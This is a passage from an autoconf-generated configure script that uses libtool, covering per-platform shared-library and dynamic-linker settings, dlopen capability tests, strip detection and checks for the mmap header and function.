shlibpath_var=LD_LIBRARY_PATH case $host_os in freebsd2*) shlibpath_overrides_runpath=yes ;; freebsd3.[01]* | freebsdelf3.[01]*) shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; *) # from 4.6 on, and DragonFly shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; esac ;; gnu*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH hardcode_into_libs=yes ;; hpux9* | hpux10* | hpux11*) # Give a soname corresponding to the major version so that dld.sl refuses to # link against other versions. version_type=sunos need_lib_prefix=no need_version=no case $host_cpu in ia64*) shrext_cmds='.so' hardcode_into_libs=yes dynamic_linker="$host_os dld.so" shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' if test "X$HPUX_IA64_MODE" = X32; then sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" else sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" fi sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; hppa*64*) shrext_cmds='.sl' hardcode_into_libs=yes dynamic_linker="$host_os dld.sl" shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec ;; *) shrext_cmds='.sl' dynamic_linker="$host_os dld.sl" shlibpath_var=SHLIB_PATH shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' ;; esac # HP-UX runs *really* slowly unless shared libraries are mode 555. postinstall_cmds='chmod 555 $lib' ;; interix[3-9]*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; irix5* | irix6* | nonstopux*) case $host_os in nonstopux*) version_type=nonstopux ;; *) if test "$lt_cv_prog_gnu_ld" = yes; then version_type=linux else version_type=irix fi ;; esac need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' case $host_os in irix5* | nonstopux*) libsuff= shlibsuff= ;; *) case $LD in # libtool.m4 will add one of these switches to LD *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= libmagic=32-bit;; *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 libmagic=N32;; *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 libmagic=64-bit;; *) libsuff= shlibsuff= libmagic=never-match;; esac ;; esac shlibpath_var=LD_LIBRARY${shlibsuff}_PATH shlibpath_overrides_runpath=no sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" hardcode_into_libs=yes ;; # No shared lib support for Linux oldld, aout, or coff. linux*oldld* | linux*aout* | linux*coff*) dynamic_linker=no ;; # This must be Linux ELF. linux* | k*bsd*-gnu) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no # Some binutils ld are patched to set DT_RUNPATH save_LDFLAGS=$LDFLAGS save_libdir=$libdir eval "libdir=/foo; wl=\"$lt_prog_compiler_wl\"; \ LDFLAGS=\"\$LDFLAGS $hardcode_libdir_flag_spec\"" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : if ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null; then : shlibpath_overrides_runpath=yes fi fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LDFLAGS=$save_LDFLAGS libdir=$save_libdir # This implies no fast_install, which is unacceptable. # Some rework will be needed to allow for fast_install # before this can be enabled. hardcode_into_libs=yes # Add ABI-specific directories to the system library path. sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" # Append ld.so.conf contents to the search path if test -f /etc/ld.so.conf; then lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '` sys_lib_dlsearch_path_spec="$sys_lib_dlsearch_path_spec $lt_ld_extra" fi # We used to test for /lib/ld.so.1 and disable shared libraries on # powerpc, because MkLinux only supported shared libraries with the # GNU dynamic linker. Since this was broken with cross compilers, # most powerpc-linux boxes support dynamic linking these days and # people can always --disable-shared, the test was removed, and we # assume the GNU/Linux dynamic linker is in use. dynamic_linker='GNU/Linux ld.so' ;; netbsd*) version_type=sunos need_lib_prefix=no need_version=no if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' dynamic_linker='NetBSD (a.out) ld.so' else library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' dynamic_linker='NetBSD ld.elf_so' fi shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes ;; newsos6) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes ;; *nto* | *qnx*) version_type=qnx need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes dynamic_linker='ldqnx.so' ;; openbsd*) version_type=sunos sys_lib_dlsearch_path_spec="/usr/lib" need_lib_prefix=no # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs. case $host_os in openbsd3.3 | openbsd3.3.*) need_version=yes ;; *) need_version=no ;; esac library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' shlibpath_var=LD_LIBRARY_PATH if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then case $host_os in openbsd2.[89] | openbsd2.[89].*) shlibpath_overrides_runpath=no ;; *) shlibpath_overrides_runpath=yes ;; esac else shlibpath_overrides_runpath=yes fi ;; os2*) libname_spec='$name' shrext_cmds=".dll" need_lib_prefix=no library_names_spec='$libname${shared_ext} $libname.a' dynamic_linker='OS/2 ld.exe' shlibpath_var=LIBPATH ;; osf3* | osf4* | osf5*) version_type=osf need_lib_prefix=no need_version=no soname_spec='${libname}${release}${shared_ext}$major' library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" ;; rdos*) dynamic_linker=no ;; solaris*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes # ldd complains unless libraries are executable postinstall_cmds='chmod +x $lib' ;; sunos4*) version_type=sunos library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes if test "$with_gnu_ld" = yes; then need_lib_prefix=no fi need_version=yes ;; sysv4 | sysv4.3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH case $host_vendor in sni) shlibpath_overrides_runpath=no need_lib_prefix=no runpath_var=LD_RUN_PATH ;; siemens) need_lib_prefix=no ;; motorola) need_lib_prefix=no need_version=no shlibpath_overrides_runpath=no sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' ;; esac ;; sysv4*MP*) if test -d /usr/nec ;then version_type=linux library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' soname_spec='$libname${shared_ext}.$major' shlibpath_var=LD_LIBRARY_PATH fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) version_type=freebsd-elf need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=yes hardcode_into_libs=yes if test "$with_gnu_ld" = yes; then sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' else sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' case $host_os in sco3.2v5*) sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" ;; esac fi sys_lib_dlsearch_path_spec='/usr/lib' ;; tpf*) # TPF is a cross-target only. Preferred cross-host = GNU/Linux. version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH shlibpath_overrides_runpath=no hardcode_into_libs=yes ;; uts4*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; *) dynamic_linker=no ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5 $as_echo "$dynamic_linker" >&6; } test "$dynamic_linker" = no && can_build_shared=no variables_saved_for_relink="PATH $shlibpath_var $runpath_var" if test "$GCC" = yes; then variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" fi if test "${lt_cv_sys_lib_search_path_spec+set}" = set; then sys_lib_search_path_spec="$lt_cv_sys_lib_search_path_spec" fi if test "${lt_cv_sys_lib_dlsearch_path_spec+set}" = set; then sys_lib_dlsearch_path_spec="$lt_cv_sys_lib_dlsearch_path_spec" fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5 $as_echo_n "checking how to hardcode library paths into programs... " >&6; } hardcode_action= if test -n "$hardcode_libdir_flag_spec" || test -n "$runpath_var" || test "X$hardcode_automatic" = "Xyes" ; then # We can hardcode non-existent directories. if test "$hardcode_direct" != no && # If the only mechanism to avoid hardcoding is shlibpath_var, we # have to relink, otherwise we might link with an installed library # when we should be linking with a yet-to-be-installed one ## test "$_LT_TAGVAR(hardcode_shlibpath_var, )" != no && test "$hardcode_minus_L" != no; then # Linking always hardcodes the temporary library directory. hardcode_action=relink else # We can link without hardcoding, and we can hardcode nonexisting dirs. hardcode_action=immediate fi else # We cannot hardcode anything, or else we can only hardcode existing # directories. hardcode_action=unsupported fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5 $as_echo "$hardcode_action" >&6; } if test "$hardcode_action" = relink || test "$inherit_rpath" = yes; then # Fast installation is not supported enable_fast_install=no elif test "$shlibpath_overrides_runpath" = yes || test "$enable_shared" = no; then # Fast installation is not necessary enable_fast_install=needless fi if test "x$enable_dlopen" != xyes; then enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown else lt_cv_dlopen=no lt_cv_dlopen_libs= case $host_os in beos*) lt_cv_dlopen="load_add_on" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes ;; mingw* | pw32* | cegcc*) lt_cv_dlopen="LoadLibrary" lt_cv_dlopen_libs= ;; cygwin*) lt_cv_dlopen="dlopen" lt_cv_dlopen_libs= ;; darwin*) # if libdl is installed we need to link against it { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 $as_echo_n "checking for dlopen in -ldl... " >&6; } if test "${ac_cv_lib_dl_dlopen+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-ldl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dlopen (); int main () { return dlopen (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_dl_dlopen=yes else ac_cv_lib_dl_dlopen=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 $as_echo "$ac_cv_lib_dl_dlopen" >&6; } if test "x$ac_cv_lib_dl_dlopen" = x""yes; then : lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" else lt_cv_dlopen="dyld" lt_cv_dlopen_libs= lt_cv_dlopen_self=yes fi ;; *) ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load" if test "x$ac_cv_func_shl_load" = x""yes; then : lt_cv_dlopen="shl_load" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5 $as_echo_n "checking for shl_load in -ldld... " >&6; } if test "${ac_cv_lib_dld_shl_load+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-ldld $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char shl_load (); int main () { return shl_load (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_dld_shl_load=yes else ac_cv_lib_dld_shl_load=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5 $as_echo "$ac_cv_lib_dld_shl_load" >&6; } if test "x$ac_cv_lib_dld_shl_load" = x""yes; then : lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-ldld" else ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen" if test "x$ac_cv_func_dlopen" = x""yes; then : lt_cv_dlopen="dlopen" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 $as_echo_n "checking for dlopen in -ldl... " >&6; } if test "${ac_cv_lib_dl_dlopen+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-ldl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dlopen (); int main () { return dlopen (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_dl_dlopen=yes else ac_cv_lib_dl_dlopen=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 $as_echo "$ac_cv_lib_dl_dlopen" >&6; } if test "x$ac_cv_lib_dl_dlopen" = x""yes; then : lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5 $as_echo_n "checking for dlopen in -lsvld... " >&6; } if test "${ac_cv_lib_svld_dlopen+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lsvld $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dlopen (); int main () { return dlopen (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_svld_dlopen=yes else ac_cv_lib_svld_dlopen=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5 $as_echo "$ac_cv_lib_svld_dlopen" >&6; } if test "x$ac_cv_lib_svld_dlopen" = x""yes; then : lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5 $as_echo_n "checking for dld_link in -ldld... " >&6; } if test "${ac_cv_lib_dld_dld_link+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-ldld $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dld_link (); int main () { return dld_link (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_dld_dld_link=yes else ac_cv_lib_dld_dld_link=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5 $as_echo "$ac_cv_lib_dld_dld_link" >&6; } if test "x$ac_cv_lib_dld_dld_link" = x""yes; then : lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-ldld" fi fi fi fi fi fi ;; esac if test "x$lt_cv_dlopen" != xno; then enable_dlopen=yes else enable_dlopen=no fi case $lt_cv_dlopen in dlopen) save_CPPFLAGS="$CPPFLAGS" test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" save_LDFLAGS="$LDFLAGS" wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" save_LIBS="$LIBS" LIBS="$lt_cv_dlopen_libs $LIBS" { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5 $as_echo_n "checking whether a program can dlopen itself... " >&6; } if test "${lt_cv_dlopen_self+set}" = set; then : $as_echo_n "(cached) " >&6 else if test "$cross_compiling" = yes; then : lt_cv_dlopen_self=cross else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF #line 10660 "configure" #include "confdefs.h" #if HAVE_DLFCN_H #include #endif #include #ifdef RTLD_GLOBAL # define LT_DLGLOBAL RTLD_GLOBAL #else # ifdef DL_GLOBAL # define LT_DLGLOBAL DL_GLOBAL # else # define LT_DLGLOBAL 0 # endif #endif /* We may have to define LT_DLLAZY_OR_NOW in the command line if we find out it does not work in some platform. */ #ifndef LT_DLLAZY_OR_NOW # ifdef RTLD_LAZY # define LT_DLLAZY_OR_NOW RTLD_LAZY # else # ifdef DL_LAZY # define LT_DLLAZY_OR_NOW DL_LAZY # else # ifdef RTLD_NOW # define LT_DLLAZY_OR_NOW RTLD_NOW # else # ifdef DL_NOW # define LT_DLLAZY_OR_NOW DL_NOW # else # define LT_DLLAZY_OR_NOW 0 # endif # endif # endif # endif #endif void fnord() { int i=42;} int main () { void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); int status = $lt_dlunknown; if (self) { if (dlsym (self,"fnord")) status = $lt_dlno_uscore; else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; /* dlclose (self); */ } else puts (dlerror ()); return status; } _LT_EOF if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 (eval $ac_link) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then (./conftest; exit; ) >&5 2>/dev/null lt_status=$? case x$lt_status in x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;; esac else : # compilation failed lt_cv_dlopen_self=no fi fi rm -fr conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5 $as_echo "$lt_cv_dlopen_self" >&6; } if test "x$lt_cv_dlopen_self" = xyes; then wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5 $as_echo_n "checking whether a statically linked program can dlopen itself... " >&6; } if test "${lt_cv_dlopen_self_static+set}" = set; then : $as_echo_n "(cached) " >&6 else if test "$cross_compiling" = yes; then : lt_cv_dlopen_self_static=cross else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF #line 10756 "configure" #include "confdefs.h" #if HAVE_DLFCN_H #include #endif #include #ifdef RTLD_GLOBAL # define LT_DLGLOBAL RTLD_GLOBAL #else # ifdef DL_GLOBAL # define LT_DLGLOBAL DL_GLOBAL # else # define LT_DLGLOBAL 0 # endif #endif /* We may have to define LT_DLLAZY_OR_NOW in the command line if we find out it does not work in some platform. */ #ifndef LT_DLLAZY_OR_NOW # ifdef RTLD_LAZY # define LT_DLLAZY_OR_NOW RTLD_LAZY # else # ifdef DL_LAZY # define LT_DLLAZY_OR_NOW DL_LAZY # else # ifdef RTLD_NOW # define LT_DLLAZY_OR_NOW RTLD_NOW # else # ifdef DL_NOW # define LT_DLLAZY_OR_NOW DL_NOW # else # define LT_DLLAZY_OR_NOW 0 # endif # endif # endif # endif #endif void fnord() { int i=42;} int main () { void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); int status = $lt_dlunknown; if (self) { if (dlsym (self,"fnord")) status = $lt_dlno_uscore; else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; /* dlclose (self); */ } else puts (dlerror ()); return status; } _LT_EOF if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 (eval $ac_link) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then (./conftest; exit; ) >&5 2>/dev/null lt_status=$? case x$lt_status in x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;; esac else : # compilation failed lt_cv_dlopen_self_static=no fi fi rm -fr conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5 $as_echo "$lt_cv_dlopen_self_static" >&6; } fi CPPFLAGS="$save_CPPFLAGS" LDFLAGS="$save_LDFLAGS" LIBS="$save_LIBS" ;; esac case $lt_cv_dlopen_self in yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; *) enable_dlopen_self=unknown ;; esac case $lt_cv_dlopen_self_static in yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; *) enable_dlopen_self_static=unknown ;; esac fi striplib= old_striplib= { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5 $as_echo_n "checking whether stripping libraries is possible... " >&6; } if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" test -z "$striplib" && striplib="$STRIP --strip-unneeded" { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else # FIXME - insert some real tests, host_os isn't really good enough case $host_os in darwin*) if test -n "$STRIP" ; then striplib="$STRIP -x" old_striplib="$STRIP -S" { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi ;; *) { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } ;; esac fi # Report which library types will actually be built { $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5 $as_echo_n "checking if libtool supports shared libraries... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5 $as_echo "$can_build_shared" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5 $as_echo_n "checking whether to build shared libraries... " >&6; } test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[4-9]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5 $as_echo "$enable_shared" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5 $as_echo_n "checking whether to build static libraries... " >&6; } # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5 $as_echo "$enable_static" >&6; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu CC="$lt_save_CC" ac_config_commands="$ac_config_commands libtool" # Only expand once: { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to enable maintainer-specific portions of Makefiles" >&5 $as_echo_n "checking whether to enable maintainer-specific portions of Makefiles... " >&6; } # Check whether --enable-maintainer-mode was given. if test "${enable_maintainer_mode+set}" = set; then : enableval=$enable_maintainer_mode; USE_MAINTAINER_MODE=$enableval else USE_MAINTAINER_MODE=no fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $USE_MAINTAINER_MODE" >&5 $as_echo "$USE_MAINTAINER_MODE" >&6; } if test $USE_MAINTAINER_MODE = yes; then MAINTAINER_MODE_TRUE= MAINTAINER_MODE_FALSE='#' else MAINTAINER_MODE_TRUE='#' MAINTAINER_MODE_FALSE= fi MAINT=$MAINTAINER_MODE_TRUE for ac_header in sys/mman.h do : ac_fn_c_check_header_mongrel "$LINENO" "sys/mman.h" "ac_cv_header_sys_mman_h" "$ac_includes_default" if test "x$ac_cv_header_sys_mman_h" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_SYS_MMAN_H 1 _ACEOF fi done for ac_func in mmap do : ac_fn_c_check_func "$LINENO" "mmap" "ac_cv_func_mmap" if test "x$ac_cv_func_mmap" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_MMAP 1 _ACEOF 